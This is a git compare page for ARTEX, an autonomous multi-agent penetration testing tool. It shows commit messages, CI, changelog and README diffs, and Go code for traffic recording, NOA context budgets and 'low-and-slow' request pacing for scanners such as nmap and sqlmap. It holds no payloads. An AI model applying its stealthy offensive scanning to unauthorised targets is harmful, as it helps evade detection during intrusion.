Compare commits

..
Author SHA1 Message Date
BaaRai dcdc0652ad fix(traffic): bound stream message pages, spill before the transaction, seconds timestamps
Stream payloads over 4 KiB now spill to the blob store (spillAt with maxStreamInline; spill keeps maxInlineBody for HTTP bodies) and StreamMessages clips every payload to 4 KiB, reading a spilled binary preview from its blob. The byte cap counts the inline preview. persistStream spills before opening the transaction, as record() does. Without the library lock nothing is read. ts is unix seconds. Adds the final-message-on-close and route tests.
2026-11-16 08:21:38 +01:00
BaaRai d9df84d2e5 feat(traffic): record WebSocket and SSE stream messages
The recording proxy now stores WebSocket and Server-Sent Events streams: one exchange per stream (101 websocket, or the real text/event-stream response) and its messages in stream_messages, with per-message and per-exchange limits and blob spill. Messages are readable through Traffic.StreamMessages, GET /api/traffic/stream and the traffic_messages agent tool; deletion and blob GC cover them.
2026-11-16 07:47:25 +01:00
BaaRai 959ec538ad Merge pull request #253 from BaaRai/perf/task-archive-blocker
perf(server): look up only the requested task archive blocker in getTask
2026-11-16 07:26:50 +01:00
BaaRai 2c514a4cd9 perf(server): look up only the requested task archive blocker in getTask
getTask aggregated task_relations for the whole database on every 5-second detail poll to read one entry. TaskArchiveBlocker scopes the same predicate (shared with TaskArchiveBlockers through archiveBlockerScope) to one source task; listTasks keeps the global map.
2026-11-16 06:46:52 +01:00
BaaRai d005bfe5ba Merge pull request #250 from BaaRai/fix/llm-usage-ts-index
fix(db): index llm_usage.ts for the usage time-window queries
2026-11-16 00:28:24 +01:00
BaaRai 0374f32aeb fix(db): index llm_usage.ts for the usage time-window queries
Migration 0004 adds idx_llm_usage_ts on llm_usage(ts) for UsageDaily and JudgeUsageStats, which filter the append-only ledger on ts and are polled by the dashboard. The plain CREATE INDEX runs at startup before the HTTP server listens; the file documents pre-creating it concurrently for a very large ledger.
2026-11-16 00:00:56 +01:00
BaaRai be317a1337 Merge pull request #249 from BaaRai/perf/visible-polling
perf(web): pause snapshot polling in hidden tabs
2026-11-15 23:50:55 +01:00
BaaRai feaaf9e416 Merge pull request #248 from BaaRai/fix/task-query-indexes
fix(db): online indexes for tool-result lookup and per-task token aggregation
2026-11-15 23:50:37 +01:00
BaaRai 5463ea4375 ci: build a dedicated database for the online index scripts
The job-level test database has no schema and cached go test results do not guarantee any suffixed test database exists; create one from db/schema.sql and db/migrations, then apply and roll back the scripts.
2026-11-15 23:26:24 +01:00
BaaRai 73aa56c16f perf(web): pause snapshot polling in hidden tabs
Adds setVisibleInterval (web/src/lib/polling.ts): no ticks while the tab is hidden, an immediate refresh on return, no overlapping polls, errors swallowed, cleanup removes the listener. API pollers use it; local clock ticks keep setInterval. CI runs the helper tests. Backported from #209 (contributed by @renaesop).
2026-11-15 23:08:24 +01:00
BaaRai 5a8498bb4f fix(db): online indexes for tool-result lookup and per-task token aggregation
Adds scripts/sql/20261115-task-query-indexes.sql (CREATE INDEX CONCURRENTLY on activity(tool_use_id) WHERE kind = tool_result and on llm_usage((COALESCE(task_id, "")), model) with covering columns, then VACUUM (ANALYZE) llm_usage), its rollback and a README. CI applies and rolls back both scripts. Backported from #209 (contributed by @renaesop).
2026-11-15 23:08:24 +01:00
BaaRai 2ad8ba16c3 Merge pull request #247 from BaaRai/fix/noa-budget-no-retry
fix(server): do not rerun intents refused by the NOA budget
2026-11-15 22:54:09 +01:00
BaaRai 09c9e6cfc2 fix(server): do not rerun intents refused by the NOA budget
The NOA budget refusal now wraps an exported ErrNoaBudget sentinel, which survives the Norma harness unchanged; retryableWorkerModelError excludes it, so a deterministic refusal is no longer replayed twice by the engine.
2026-11-15 22:26:21 +01:00
BaaRai 59c3002bcc Merge pull request #246 from BaaRai/chore/norma-v0.4.10
chore(deps): bump Norma to v0.4.10
2026-11-15 22:15:15 +01:00
BaaRai 68f2db1d0b chore(deps): bump Norma to v0.4.10
Brings the English shell tool, task notice and NOA archive strings and the corrected dispatch session note (BaaRai/Norma v0.4.10). No other module moves.
2026-11-15 20:39:53 +01:00
BaaRai f0be3ae51f Merge pull request #245 from BaaRai/feat/noa-budget-wiring
feat(agent): size NOA to the configured window and refuse irreducible requests
2026-11-15 20:06:59 +01:00
BaaRai 3b755228d6 feat(agent): size NOA to the configured window and refuse irreducible requests
Bump Norma to v0.4.9 (BaaRai/Norma v0.4.9). enableNoa passes the configured context window to noaadapter as ModelContextLimit and, once NOA is enabled, wraps the provider in a budget check that refuses a request whose estimate exceeds that window before any transport.
2026-11-15 19:08:49 +01:00
BaaRai d147dce344 Merge pull request #244 from BaaRai/fix/cache-write-cost
fix(db): stop billing cache writes twice in profile cost
2026-11-15 18:37:12 +01:00
BaaRai 60728092e1 fix(db): stop billing cache writes twice in profile cost
Norma normalizes InputTokens to input + cache read + cache write, so both cache buckets are subsets of it. The fresh share billed at the input price is now input minus reads minus writes, still clamped at zero for gateways that report disjoint buckets.
2026-11-15 18:17:33 +01:00
BaaRai ff599c65d3 Merge pull request #243 from BaaRai/fix/stream-usage-echo
fix(llmrec,sidequestion): fold echoed stream usage with MergeEcho
2026-11-15 18:14:20 +01:00
BaaRai ce096cdba1 fix(llmrec,sidequestion): fold echoed stream usage with MergeEcho
Since Norma v0.4.7 message_delta echoes the input side reported by message_start. The recorder and side answers added both events, counting input and cache twice in llm_usage and side-answer usage. message_start is still added; message_delta is now folded with llm.Usage.MergeEcho, as llm.Accumulator does.
2026-11-15 17:51:53 +01:00
BaaRai 50f6d07640 Merge pull request #241 from BaaRai/fix/task-llm-usage
fix(server): sum task LLM usage across retries and failover
2026-11-15 17:48:11 +01:00
BaaRai e6ab0f34a7 fix(server): sum task LLM usage across retries and failover
The logical call now returns the usage of every physical attempt (atomic and stream), keeps the usage of failed uncommitted stream attempts without delivering their events, normalizes per-attempt echoes with MergeEcho, stops with ctx.Err() when cancelled during backoff, and treats signed/redacted thinking and tool-use signatures as committing output. The llm_usage ledger stays at one row per physical call.
2026-11-15 16:14:35 +01:00
BaaRai 5ed28cde9f Merge pull request #240 from BaaRai/fix/session-resume
fix(agent): stop on transcript restore failures and keep session identity
2026-11-15 16:07:37 +01:00
BaaRai 773fa9183a fix(agent): stop on transcript restore failures and keep session identity without persistence
Resume errors from a corrupt or unreadable transcript are returned as "restore Norma session %q: %w" before any model or tool call instead of being dropped; a missing transcript still starts a fresh session. The session id is set and put on the context regardless of the transcript store, so the provider and usage metering see the same identity.
2026-11-15 15:32:07 +01:00
BaaRai 1cbab7cc39 Merge pull request #239 from BaaRai/chore/next-16-4-6
chore(web): upgrade next to 16.4.6
2026-11-15 15:23:50 +01:00
BaaRai bc75b5dc43 chore(web): upgrade next to 16.4.6
Closes the critical Next.js advisory reported by npm audit for next <=16.4.0. Only next and its own tree move in the lock (@next/*, @swc/helpers, sharp and its @img packages, postcss and nanoid); react and react-dom are unchanged.
2026-11-15 14:35:21 +01:00
BaaRai cddcd98f3b Merge pull request #238 from BaaRai/chore/npm-prod-deps
chore(web): move the shadcn CLI to devDependencies and drop @antv/graphin
2026-11-15 14:18:15 +01:00
BaaRai d42988b6a8 chore(web): move the shadcn CLI to devDependencies and drop @antv/graphin
shadcn is only used at build time (globals.css imports shadcn/tailwind.css, and the CLI generates components); no web/src file imports it at runtime. @antv/graphin is not imported anywhere. The lock only marks the shadcn dependency tree as dev and removes @antv/graphin; no version changes.
2026-11-15 14:01:02 +01:00
BaaRai 3975e58ce0 Merge pull request #237 from BaaRai/ci/gofmt
ci: run gofmt in the go job, and format the 11 files it flags
2026-11-15 13:55:11 +01:00
BaaRai fdba29f1a9 ci: run gofmt in the go job, and format the 11 files it flags
Mechanical: gofmt -w on the 11 files gofmt -l listed on main. Besides spacing and alignment, gofmt sorted the imports inside one group in two test files and removed a trailing blank line in a third. The go job now fails, listing the files, when gofmt -l reports any tracked Go file.
2026-11-15 13:38:35 +01:00
BaaRai a59d430175 Merge pull request #236 from BaaRai/perf/task-metrics
perf(db): per-task metrics for the task detail and an index-served latest activity
2026-11-15 08:40:39 +01:00
BaaRai c2d1f557c3 perf(db): per-task metrics for the task detail and an index-served latest activity
getTask computed the list metrics of every task to read one; it now calls TaskListMetrics(expID), which runs the same laterals as TaskListMetricsAll with a WHERE on the exploration. listTasks keeps the global query. The latest_activity lateral ordered by its EXTRACT(EPOCH) output alias, so PostgreSQL read and sorted every activity row of each task; it now orders by activity.created_at and idx_act_latest serves the LIMIT 1. Both queries share one SQL constant.
2026-11-15 08:20:08 +01:00
BaaRai e636408f66 Merge pull request #235 from BaaRai/docs/upstream-changelog
docs: credit the upstream and complete the unreleased changelog
2026-11-15 02:01:55 +01:00
BaaRai fcbd87445e docs: credit the upstream and complete the unreleased changelog 2026-11-15 01:54:50 +01:00
BaaRai 59f768f1ef Merge pull request #234 from BaaRai/feat/proxy-pace-bash
feat(traffic): pace Bash requests at the capture proxy
2026-11-15 01:41:56 +01:00
BaaRai 7f3edf9bfe fix(agent): noise prompt states what the capture proxy paces
The low-and-slow block said that commands launched through Bash are not paced. With traffic capture on, Bash commands that use the capture proxy are now paced by rate and jitter; raw scanners and commands that bypass the proxy are not, so the rate flags remain the brake.
2026-11-15 01:23:56 +01:00
BaaRai 2e55615713 feat(traffic): pace Bash requests at the capture proxy
With traffic capture on, the Bash proxy URL carries a marker userinfo. The recording proxy drops Proxy-Authorization from every request before it is forwarded or recorded; when the value is the marker it marks the client connection, and every later request on it, including those inside its CONNECT tunnel, waits for the per-host token and jitter of the current noise profile (egress.Wait) and is counted, with a bounded wait. WebFetch, the http custom tools and enrich keep the unmarked URL, which egress already paces, so nothing is paced twice. Off paces nothing. Best effort: only clients that honour the proxy are covered, with capture on.
2026-11-15 00:57:13 +01:00
BaaRai 251ab680cc Merge pull request #233 from BaaRai/feat/noise-profile-runtime
feat(egress): change the noise profile at runtime
2026-11-15 00:14:23 +01:00
BaaRai ac6e2b3c44 feat(egress): change the noise profile at runtime
The egress governor is now a current governor that SetProfile swaps: new requests use the new one, requests in flight finish on the old one, and one package-level ticker logs the counters of the current governor. WebFetch, the http custom tools and the enrich probe resolve it per request, and the agent prompt block reads the current profile. The noise_profile setting (off, quiet, balanced, aggressive) is applied at startup and wins over ARTEX_NOISE_PROFILE, which stays the fallback; PUT /api/settings validates, stores and applies it without rebuilding agents, and GET /api/settings/noise returns the per-host counters without resetting them. System settings gets a Target noise card.
2026-11-14 23:30:06 +01:00
BaaRai 97b0fdced6 Merge pull request #232 from BaaRai/feat/intercept-risk-batch
feat(intercept): deterministic risk score and batch approval
2026-11-14 23:03:57 +01:00
BaaRai 8f5a67d10c fix(intercept): destructive commands score high; chunk batch decisions to the server limit
The destructive shell signal is worth 60 instead of 50, so a destructive command alone scores 10 + 60 = 70, high. The level thresholds are unchanged. The approvals page sends the selection in sequential calls of at most 100 ids, the server limit (maxBatchDecide), instead of one call that the server would refuse with 400 when more than 100 rows are selected. If a call fails, sending stops: its ids and the later ones stay selected with the error, and ids already decided stay decided. The final toast gives the totals.
2026-11-14 22:46:18 +01:00
BaaRai d8f3c7aec2 feat(intercept): deterministic risk score and batch approval
ScoreRisk scores a pending tool call from fixed, additive signals (no model): shell destructive, privilege, secret, exfiltration, reverse shell, scanner and file-write patterns; file writes with a sensitive-path bonus; web reads with a mutating-method bonus; MCP, unknown tools and unreadable input never score low. The score is computed when a pending row is read and returned as risk next to the unchanged row fields. POST /api/intercept/pending/batch-decide decides up to 100 ids, each through Interceptor.Decide with the same approver and address as a single decision, and reports a result per id. The approvals page gets row selection, a confirmation that counts high-risk rows, per-id errors, and a risk badge with its reasons.
2026-11-14 22:19:09 +01:00
BaaRai c43c69bdd0 Merge pull request #231 from BaaRai/docs/readme-refresh
docs: rewrite README and refresh screenshots
2026-11-14 21:55:11 +01:00
100 changed files with 6106 additions and 524 deletions
+18
View File
@@ -29,6 +29,10 @@ jobs:
- uses: actions/setup-go@v5
with:
go-version-file: go.mod
- name: gofmt
run: |
files=$(gofmt -l $(git ls-files '*.go'))
if [ -n "$files" ]; then echo "gofmt required:"; echo "$files"; exit 1; fi
- run: go build ./...
- run: go vet ./...
# Skipped tests, tracked in issue #9:
@@ -44,6 +48,19 @@ jobs:
# as rotating failures in the agent package). Serial package execution
# keeps the database state deterministic.
run: go test -p 1 ./...
- name: online index scripts
# Apply and roll back scripts/sql on a database built here from
# db/schema.sql and db/migrations. The job-level artextest database
# never gets the schema (packages use suffixed databases), and cached
# test results mean no test database is guaranteed to exist.
env:
SQL_DSN: postgres://artex:testpass@localhost:5432/artextest_sqlscripts?sslmode=disable
run: |
psql "$ARTEX_PG_DSN" -X -v ON_ERROR_STOP=1 -c 'CREATE DATABASE artextest_sqlscripts'
psql "$SQL_DSN" -X -q -v ON_ERROR_STOP=1 -f db/schema.sql
for f in db/migrations/*.sql; do psql "$SQL_DSN" -X -q -v ON_ERROR_STOP=1 -f "$f"; done
psql "$SQL_DSN" -X -v ON_ERROR_STOP=1 -f scripts/sql/20261115-task-query-indexes.sql
psql "$SQL_DSN" -X -v ON_ERROR_STOP=1 -f scripts/sql/20261115-task-query-indexes.rollback.sql
- name: go test -race
# Race detector on the packages that pass under -race today. ./server
# joined once its suite was checked with -race against postgres and its
@@ -82,4 +99,5 @@ jobs:
cache-dependency-path: web/package-lock.json
- run: npm ci
- run: npx tsc --noEmit
- run: npm run test:polling
- run: npm run build:static
+34 -1
View File
@@ -4,9 +4,42 @@ All notable changes to this project are documented in this file. The format is b
## [Unreleased]
### Added
- **Target noise governor**: one shared egress governor paces ARTEX's own HTTP requests (WebFetch, the http custom tools and the enrich probe) against a noise profile (`off` by default, `quiet`, `balanced`, `aggressive`): a per-host token bucket with jitter, per-host and global in-flight caps, 429/503 backoff, GET deduplication with a short cache, and a configurable target User-Agent (`ARTEX_TARGET_USER_AGENT`). Off is a strict passthrough (#205).
- **Low-and-slow prompt block**: when a noise profile is set, the planner, worker, main agent and chat prompts carry the per-host limits of the profile and the exact rate or delay flags for nmap, nuclei, httpx, katana, ffuf, dalfox and sqlmap; with the profile off the prompts are unchanged (#212).
- **Noise profile at runtime**: System settings has a **Target noise** card. It sets the profile (`off`, `quiet`, `balanced`, `aggressive`) through the `noise_profile` setting, which takes precedence over `ARTEX_NOISE_PROFILE`. The change applies to the next WebFetch, http custom tool and enrich request, and to the next agent prompt, without a restart. The card also shows the per-host counters, which `GET /api/settings/noise` returns (#233).
- **Bash requests paced through the capture proxy**: with traffic capture on, the Bash proxy URL carries a marker userinfo. The recording proxy paces each request of a marked connection by the noise profile's per-host rate and jitter, and counts it, before it goes upstream. This applies inside CONNECT tunnels too. WebFetch, the http custom tools and enrich keep the unmarked URL and are not paced twice. The proxy now drops `Proxy-Authorization` from every request it forwards or records. This is best effort: only clients that honour the proxy are covered, with capture on (#234).
- **Hierarchical budgets**, off by default: a task budget and a per-intent budget take the minimum of their own budget and the parent's remaining budget above the wrap-up reserve, planner calls count inside the task, and reaching the reserve forces a wrap-up (#206).
- **Coverage ledger**: the worker records what it examined, ruled out or left open for each surface and risk class with `record_coverage`; gaps, unexamined classes and completeness appear in the planner context, `GET /api/tasks/{id}/coverage`, the coverage card and the Markdown report (#207).
- **Closed-question judge**: the LLM fallback judge answers eight fixed questions that the code owns and the code takes the decision; every failure now leads to ask instead of allow, and the previous behaviour stays available as `llm_judge_mode = freeform` (#208).
- **argv interception rules**: a new `match_type = argv` matches the parsed prefix of a Bash command exactly, and a pending Bash approval can create such a rule in one click; a code-owned denylist refuses programs where a prefix would allow arbitrary code (#210, #211).
- **Scanner output ingestion**: `ingest_scan_output` parses nmap XML, nuclei JSONL, httpx JSONL and ffuf JSON, and writes assets and facts deterministically, so the model never reads the raw output (#214, #215).
- **bbot ingestion**: a typed parser splits bbot JSONL events by `scope_distance`, only in-scope events go through `insert_assets`, and `ingest_bbot` reads the file line by line with a 64 KiB cap (#199, #200).
- **Tool RAG**, off by default: when the bound tool list of an agent is large, only the subset relevant to the current intent is injected, as a projection that never adds or edits a tool (`ARTEX_TOOL_RAG`) (#204).
- **Fact provenance**: `record_fact` takes a closed `source` enum (default `inference`) and every fact carries the server-set `origin`, both shown in `recent_facts`, `list_facts` and `expand_digest` (#194).
- **Per-message nonce envelope**: agent- and target-derived fields reach the planner and worker user messages inside a code-owned data envelope with a random nonce per message; operator input stays outside it (#195).
- **Intercept risk score and batch approval**: a deterministic risk score (low, medium, high) is shown on each pending approval, and up to 100 pending decisions can be settled in one call, each through the existing single-decision path (#232).
- **`ask_operator` target warning**: a request whose question names a host or URL outside the goal targets is tagged as containing target-derived text (#197).
- **Opt-in update banner**: `ARTEX_UPDATE_CHECK` makes the backend check the latest GitHub release at most once per 24 hours and the UI show a banner; off by default (#202).
- **Release provenance**: release archives carry GitHub build provenance attestations and a CycloneDX SBOM (`gh attestation verify <zip> --repo BaaRai/ARTEX`); release notes are the matching `CHANGELOG.md` section (#219, #201).
### Changed
- **Untrusted-output boundary is now on by default**: Norma frames tool results for the worker, planner, chat and main agent unless `ARTEX_UNTRUSTED_BOUNDARY` is set to `0`, `false`, `off` or `no`. It was opt-in via `ARTEX_UNTRUSTED_BOUNDARY=1` in 0.6.0 (#166).
- **Untrusted-output boundary is now on by default**: Norma frames tool results for the worker, planner, chat and main agent unless `ARTEX_UNTRUSTED_BOUNDARY` is set to `0`, `false`, `off` or `no`. It was opt-in via `ARTEX_UNTRUSTED_BOUNDARY=1` in 0.6.0 (#166); the default flips here (#203).
- **Versioned migrations**: the `db` package applies numbered `db/migrations/NNNN_slug.sql` files once, in order, under the schema advisory lock, and records a SHA-256 checksum in `schema_migrations`; missing, renamed, changed or out-of-order migrations fail closed (#226).
- **Coverage graph performance**: the coverage graph batches its connector lookups (three queries instead of one per root and per company) and adds the partial index `idx_ts_icp`; on a task of about 3,000 assets the p50 dropped from 126 ms to 27 ms and the queries per call from 221 to 3 (#230).
### Fixed
- **Auto-scope hygiene**: auto `task_scope` rows count for coverage and untested assets only under a declared root, and direct coverage counts anchored assets through fact anchors only; the scope is described as "coverage scope, not enforced" (#196).
- **Enrich HTTP probe**: it now dials through `intercept.PinnedDialer`, so the target gate applies and a probe without a target scope is refused (#198).
- **Agent hook data races**: the eight package-level hooks are synchronised, so a second wire-up no longer races tasks that already read them (#227).
### Security
- **Secrets at rest**: the credential-bearing columns and settings (LLM API keys and proxy, task credentials, MCP server env, notification channel config, search and proxy settings), the exec spec of custom tools and the evidence snapshot heads are encrypted in PostgreSQL with AES-256-GCM (`enc:v1:`) using `ARTEX_SECRET_KEY`, else `keys/secret.key`; existing plaintext rows are backfilled once at startup, and a missing or wrong key while encrypted data exists refuses to start. This protects database dumps and backups, not a running instance (#213, #216, #217, #218).
- **URL credentials are dropped before storage**: scan and bbot ingestion, the asset store and archive restore strip URL userinfo, so `https://user:pass@host/app` is stored and matched as `https://host/app` (#222, #223, #224).
## [0.6.0] - 2026-11-12
+17 -2
View File
@@ -6,6 +6,8 @@
**Autonomous penetration testing that keeps its receipts.**
(upstream: [Autumn-27/ARTEX](https://github.com/Autumn-27), AGPL-3.0)
Self-hosted multi-agent offensive security. A planner explores, workers run real tools,
and every finding stays bound to the assets and HTTP traffic that prove it.
@@ -405,8 +407,15 @@ flight), `aggressive` = 20 req/s (burst 40, 4 in flight). A profile adds jitter,
429/503 (honours `Retry-After`, bounded retries, GET/HEAD/OPTIONS only), deduplicates identical
in-flight GETs and caches them briefly (60/30/10 s; never POST/PUT/PATCH/DELETE), and logs a
per-host noise line each minute. `ARTEX_TARGET_USER_AGENT` sets a User-Agent on target requests
that carry none. Bash-launched tools are not paced yet; the low-and-slow prompt block supplies
their rate flags.
that carry none. With traffic capture on, Bash commands that use the proxy (curl, wget,
python-requests) are paced too, per host by the same rate and jitter, and counted in the same
per-host lines. The in-flight caps, retries and cache apply only to ARTEX's own requests. This is
best effort, not a security boundary. Raw scanners such as nmap are not paced, and neither is a
command that bypasses the proxy (`--noproxy`, a removed proxy variable). With capture off,
nothing launched from Bash is paced. The low-and-slow prompt block supplies the rate flags in
every case.
The **Target noise** card in System settings sets the profile at runtime (no restart) and shows the
per-host counters; once saved, that setting takes precedence over `ARTEX_NOISE_PROFILE`.
**Low-and-slow agent guidance (off by default)**: when a noise profile is set, the planner, worker,
main agent and chat agents receive a code-owned prompt block with the profile's per-host limits and
@@ -686,6 +695,12 @@ Operational security properties:
---
## About this fork
This repository is the English translation and continuation of ARTEX, originally by [Autumn-27](https://github.com/Autumn-27). The upstream repository is no longer public, so the link points to the author profile. Changes in this fork are tracked in [CHANGELOG.md](CHANGELOG.md), under the same AGPL-3.0 license.
---
## References and prior art
- [Cairn](https://github.com/oritera/Cairn)
+8 -2
View File
@@ -169,9 +169,12 @@ func (c *ChatAgent) Chat(ctx context.Context, agentKey, sessionID, message strin
if c.guard != nil {
opts.Hooks = c.guard.Hooks()
}
// The session id is the provider-side identity (session header, usage metering)
// with or without persistence; Norma only puts it on ctx when it writes a transcript.
opts.SessionID = sessionID
ctx = transcript.WithSessionID(ctx, opts.SessionID)
if c.tx != nil { // persist raw human↔AI conversation; one accumulating file per thread
opts.Transcript = c.tx
opts.SessionID = sessionID
}
// experimental feature: when enabled, noa takes over context compression (archive centralized under <workDir>/noa/<SessionID>, persistent).
enableNoa(&opts, c.noaEnabledFn, c.workDir, "chat-"+sessionID, noaWarn("chat-"+sessionID))
@@ -180,8 +183,11 @@ func (c *ChatAgent) Chat(ctx context.Context, agentKey, sessionID, message strin
defer s.Close()
// reload prior conversation so the agent has context across turns (each Chat is
// a fresh session). First turn: no file yet → Resume loads nothing and proceeds.
// A corrupt or unreadable transcript stops the turn before any model or tool call.
if c.tx != nil {
_ = s.Resume(sessionID)
if err := resumeSession(s, opts.SessionID); err != nil {
return "", err
}
}
// re-unlock skill-gated MCPs from prior Skill() calls in the reloaded history so
// revealed tools stay callable across the fresh session.
+1 -1
View File
@@ -49,7 +49,7 @@ func findingWorkflowTools(agentKey string, tools []actool.CoreTool) ([]actool.Co
if tool.Name() == "bind_finding_traffic" {
continue
}
if agentKey == "reporter" && (tool.Name() == "traffic_search" || tool.Name() == "traffic_get" || tool.Name() == "traffic_blob") {
if agentKey == "reporter" && (tool.Name() == "traffic_search" || tool.Name() == "traffic_get" || tool.Name() == "traffic_blob" || tool.Name() == "traffic_messages") {
continue
}
switch tool.Name() {
+13 -7
View File
@@ -169,14 +169,17 @@ func (m *MainAgent) Chat(ctx context.Context, taskID int64, mainSeg int, as *db.
if hooks != nil { // typed-nil guard: only set when concrete (avoids harness panic)
opts.Hooks = hooks
}
// Segment 0 keeps the legacy "exp%d-main" name so existing transcripts still
// load; each new session (seg>=1) gets its own file for a clean context. The id
// is the provider-side identity (session header, usage metering) with or without
// persistence; Norma only puts it on ctx when it writes a transcript.
opts.SessionID = fmt.Sprintf("exp%d-main", ts.ID())
if mainSeg > 0 {
opts.SessionID = fmt.Sprintf("exp%d-main-s%d", ts.ID(), mainSeg)
}
ctx = transcript.WithSessionID(ctx, opts.SessionID)
if m.tx != nil { // persist raw human↔AI conversation; one accumulating file per segment
opts.Transcript = m.tx
// Segment 0 keeps the legacy "exp%d-main" name so existing transcripts still
// load; each new session (seg>=1) gets its own file for a clean context.
opts.SessionID = fmt.Sprintf("exp%d-main", ts.ID())
if mainSeg > 0 {
opts.SessionID = fmt.Sprintf("exp%d-main-s%d", ts.ID(), mainSeg)
}
}
// experimental feature: when enabled, noa takes over context compression (archive centralized under <workDir>/noa/<SessionID>, persistent).
// the session id follows the same rule as the transcript (segment-aware), keeping archive and resume aligned.
@@ -191,8 +194,11 @@ func (m *MainAgent) Chat(ctx context.Context, taskID int64, mainSeg int, as *db.
// reload the prior conversation from the transcript so the agent has context
// across turns (each Chat is a fresh session; without this it can't see earlier
// messages). First turn: no file yet → Resume loads nothing and proceeds.
// A corrupt or unreadable transcript stops the turn before any model or tool call.
if m.tx != nil {
_ = s.Resume(opts.SessionID)
if err := resumeSession(s, opts.SessionID); err != nil {
return "", err
}
}
// C2: this session is fresh each turn; re-unlock skill-gated MCPs from prior
// Skill() calls in the reloaded history so revealed tools stay callable.
+17 -4
View File
@@ -39,10 +39,17 @@ func enableNoa(opts *agentcore.Options, enabled func() bool, archiveRoot, sessio
if opts.OnWarn == nil {
opts.OnWarn = onWarn
}
if err := noaadapter.Enable(opts, noaadapter.Options{
ArchiveBaseDir: filepath.Join(archiveRoot, "noa"),
SessionID: sessionID,
OnWarn: onWarn,
// noa sizes its thresholds to the window this agent is configured for, read
// before Compaction is cleared below; without it noa assumes its own default.
window := defaultWindowK * 1000
if opts.Compaction != nil && opts.Compaction.ContextWindow > 0 {
window = opts.Compaction.ContextWindow
}
if err := noaEnable(opts, noaadapter.Options{
ArchiveBaseDir: filepath.Join(archiveRoot, "noa"),
SessionID: sessionID,
OnWarn: onWarn,
ModelContextLimit: window,
}); err != nil {
if onWarn != nil {
onWarn("failed to enable noa compression, falling back to built-in compaction: " + err.Error())
@@ -52,4 +59,10 @@ func enableNoa(opts *agentcore.Options, enabled func() bool, archiveRoot, sessio
// Compactor overrides Compaction, but agentcore warns on every run when both are
// set; clear it explicitly.
opts.Compaction = nil
// noa can only trim what it may drop; a request whose protected part alone
// exceeds the window is refused here instead of by the provider.
opts.Provider = &noaBudgetProvider{Provider: opts.Provider, window: window}
}
// noaEnable is noaadapter.Enable; tests replace it to observe the options.
var noaEnable = noaadapter.Enable
+50
View File
@@ -0,0 +1,50 @@
package agent
import (
"context"
"errors"
"fmt"
"iter"
"github.com/Autumn-27/artex/sidequestion"
"github.com/Autumn-27/norma/llm"
)
// noaRequestOverhead covers request framing the input estimate does not count.
const noaRequestOverhead = 512
// ErrNoaBudget marks a request refused by the NOA budget check. The refusal is
// deterministic (the same history fails the same way), so callers must not
// retry it.
var ErrNoaBudget = errors.New("noa request budget exceeded")
// noaBudgetProvider refuses, before any transport, a request that cannot fit the
// window noa was configured with. noa trims what it is allowed to drop; when
// the protected part (system prompt, recent turns, the output reservation)
// alone is over the window, sending it only buys a provider rejection.
type noaBudgetProvider struct {
llm.Provider
window int
}
func (p *noaBudgetProvider) check(req llm.CompletionRequest) error {
estimate := sidequestion.EstimateInputTokens(req) + max(req.MaxTokens, 0) + noaRequestOverhead
if estimate > p.window {
return fmt.Errorf("%w: estimate %d exceeds configured budget %d; protected context cannot fit, increase the configured window or start a new session", ErrNoaBudget, estimate, p.window)
}
return nil
}
func (p *noaBudgetProvider) Complete(ctx context.Context, req llm.CompletionRequest) (llm.Message, string, llm.Usage, error) {
if err := p.check(req); err != nil {
return llm.Message{}, "", llm.Usage{}, err
}
return p.Provider.Complete(ctx, req)
}
func (p *noaBudgetProvider) Stream(ctx context.Context, req llm.CompletionRequest) iter.Seq2[llm.StreamEvent, error] {
if err := p.check(req); err != nil {
return func(yield func(llm.StreamEvent, error) bool) { yield(llm.StreamEvent{}, err) }
}
return p.Provider.Stream(ctx, req)
}
+155
View File
@@ -0,0 +1,155 @@
package agent
import (
"context"
"errors"
"iter"
"strings"
"testing"
"github.com/Autumn-27/norma/agentcore"
"github.com/Autumn-27/norma/harness"
"github.com/Autumn-27/norma/llm"
"github.com/Autumn-27/norma/noaadapter"
)
// A worker whose protected context exceeds a tiny NOA window ends with
// model_error and an error that still wraps ErrNoaBudget after the Norma harness
// and the capture layer: the engine's retry check relies on that.
func TestWorkerNoaBudgetRefusalKeepsSentinelThroughHarness(t *testing.T) {
f := newSessionFixture(t)
inner := &countingProvider{}
w := NewWorker(inner, "test-model", t.TempDir(), nil, 2000, 3)
w.SetNoaEnabled(func() bool { return true })
reason, _, err := w.Execute(t.Context(), "work#1", f.expID, nil, f.ts, f.intent, passHooks{}, nil, nil, nil)
if reason != harness.ReasonModelError || !errors.Is(err, ErrNoaBudget) || inner.calls != 0 {
t.Fatalf("reason=%q err=%v provider calls=%d; want model_error wrapping ErrNoaBudget and no call", reason, err, inner.calls)
}
}
// countingProvider answers with one text turn and counts the calls it receives.
type countingProvider struct{ calls int }
func (p *countingProvider) Stream(context.Context, llm.CompletionRequest) iter.Seq2[llm.StreamEvent, error] {
p.calls++
return func(yield func(llm.StreamEvent, error) bool) {
if yield(llm.StreamEvent{Type: llm.SETextDelta, Text: "ok"}, nil) {
yield(llm.StreamEvent{Type: llm.SEMessageStop}, nil)
}
}
}
func (p *countingProvider) Complete(context.Context, llm.CompletionRequest) (llm.Message, string, llm.Usage, error) {
p.calls++
return llm.Message{Role: llm.RoleAssistant, Content: []llm.ContentBlock{llm.TextBlock("ok")}}, "end_turn", llm.Usage{}, nil
}
// withNoaEnable swaps the noaadapter.Enable seam for the duration of a test.
func withNoaEnable(t *testing.T, fn func(*agentcore.Options, noaadapter.Options) error) {
t.Helper()
prev := noaEnable
noaEnable = fn
t.Cleanup(func() { noaEnable = prev })
}
func TestEnableNoaUsesConfiguredWindow(t *testing.T) {
for _, tc := range []struct {
name string
compaction func() *agentcore.Options
want int
}{
{"configured", func() *agentcore.Options { return &agentcore.Options{Compaction: compactionConfig(32000)} }, 32000},
{"default", func() *agentcore.Options { return &agentcore.Options{} }, defaultWindowK * 1000},
} {
t.Run(tc.name, func(t *testing.T) {
var got noaadapter.Options
withNoaEnable(t, func(opts *agentcore.Options, o noaadapter.Options) error {
got = o
return noaadapter.Enable(opts, o)
})
inner := &countingProvider{}
opts := tc.compaction()
opts.Provider = inner
enableNoa(opts, func() bool { return true }, t.TempDir(), "noa-window", nil)
if got.ModelContextLimit != tc.want {
t.Fatalf("noaadapter.Options.ModelContextLimit=%d, want %d", got.ModelContextLimit, tc.want)
}
bp, ok := opts.Provider.(*noaBudgetProvider)
if !ok || bp.window != tc.want || bp.Provider != inner {
t.Fatalf("provider %T %+v, want *noaBudgetProvider{window %d} around the original", opts.Provider, opts.Provider, tc.want)
}
if opts.Compaction != nil || opts.Compactor == nil {
